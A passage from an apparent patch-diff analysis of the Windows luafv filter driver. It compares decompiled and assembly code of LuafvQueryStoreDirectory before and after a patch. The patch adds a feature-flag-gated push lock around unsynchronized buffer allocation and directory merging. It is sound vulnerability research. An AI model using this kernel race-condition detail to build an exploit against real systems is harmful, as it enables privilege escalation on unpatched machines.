&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;MappedVa&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MmMapLockedPagesSpecifyCache&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Iopb&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Mdl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MmCached&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x40000010&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// NO LOCK&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LuafvMergeStoreDirectory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Instance&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;// NO LOCK&lt;/span&gt;
&lt;span class="nl"&gt;fail&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Data&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Data&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED — LuafvQueryStoreDirectory @ 0x1C0015F34 (feature-gated lock) ===&lt;/span&gt;
&lt;span class="kt"&gt;int32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;LuafvQueryStoreDirectory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PFLT_INSTANCE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Instance&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PFLT_CALLBACK_DATA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Ctx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ---- ADDED, but only when the WIL feature is enabled ----&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_3757245754__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;PushLock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Ctx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;// stream-handle-context push lock&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PushLock&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KeGetCurrentThread&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// not already owner&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;FltAcquirePushLockExclusiveEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PushLock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;PushLock&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KeGetCurrentThread&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// owner&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;PushLock&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;// recursion count&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;PushLock&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="c1"&gt;// recursive re-entry&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* ... identical lazy-init / open / merge body as unpatched ... */&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_3757245754__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;PushLock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Ctx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PushLock&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KeGetCurrentThread&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;FltReleasePushLockEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PushLock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;PushLock&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;PushLock&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;FltReleasePushLockEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PushLock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Key observations:
- The body logic is unchanged; only the feature-gated lock acquire/release were added around it.
- The gate &lt;code&gt;Feature_3757245754__private_IsEnabledDeviceUsage&lt;/code&gt; is a WIL feature-staging predicate, not a compile-time "always true" flag. When it returns 0, the lock is entirely bypassed and the unsynchronized path is executed.
- The lock is recursive-exclusive: owner thread tracked at push-lock &lt;code&gt;+0x08&lt;/code&gt;, recursion count at &lt;code&gt;+0x10&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Unpatched — &lt;code&gt;LuafvQueryStoreDirectory&lt;/code&gt; @ &lt;code&gt;0x1C0014DB4&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0014DC8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; rsi = Iopb (Data-&amp;gt;Iopb)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0014DCC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; rdi = StreamHandleContext (arg3)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0014DCF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; read ctx-&amp;gt;buf, NO LOCK&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0014DD9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r12d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; len parameter&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0014DDD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0014DE0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0014E12&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;; skip alloc if already set&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0014DE2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; size = 0x40&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0014DE7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; pool tag 0x16&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0014DEC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx-3Fh&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; PoolType = 1 (PagedPool)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0014DEF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;LuafvAllocatePool&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; alloc, NO LOCK&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0014DF4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; store ctx-&amp;gt;buf, NO LOCK&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0014DF8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0014DFB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C0018DCE&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; -&amp;gt; STATUS_INSUFFICIENT_RESOURCES&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0014E09&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memset&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; zero the 0x40 buffer&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0014E0E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; re-read ctx-&amp;gt;buf&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0014E1B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;LuafvOpenDirectory&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; open store dir into buf, NO LOCK&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0014E2A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; re-read ctx-&amp;gt;buf&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0014E32&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0014E3C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;LuafvOpenDirectory&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; open virtual dir into buf+0x20, NO LOCK&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0014E53&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; MDL = Iopb+0x40&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0018DFA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_MmMapLockedPagesSpecifyCache&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; NO LOCK&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0014EB5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;LuafvMergeStoreDirectory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; merge listings, NO LOCK&lt;/span&gt;
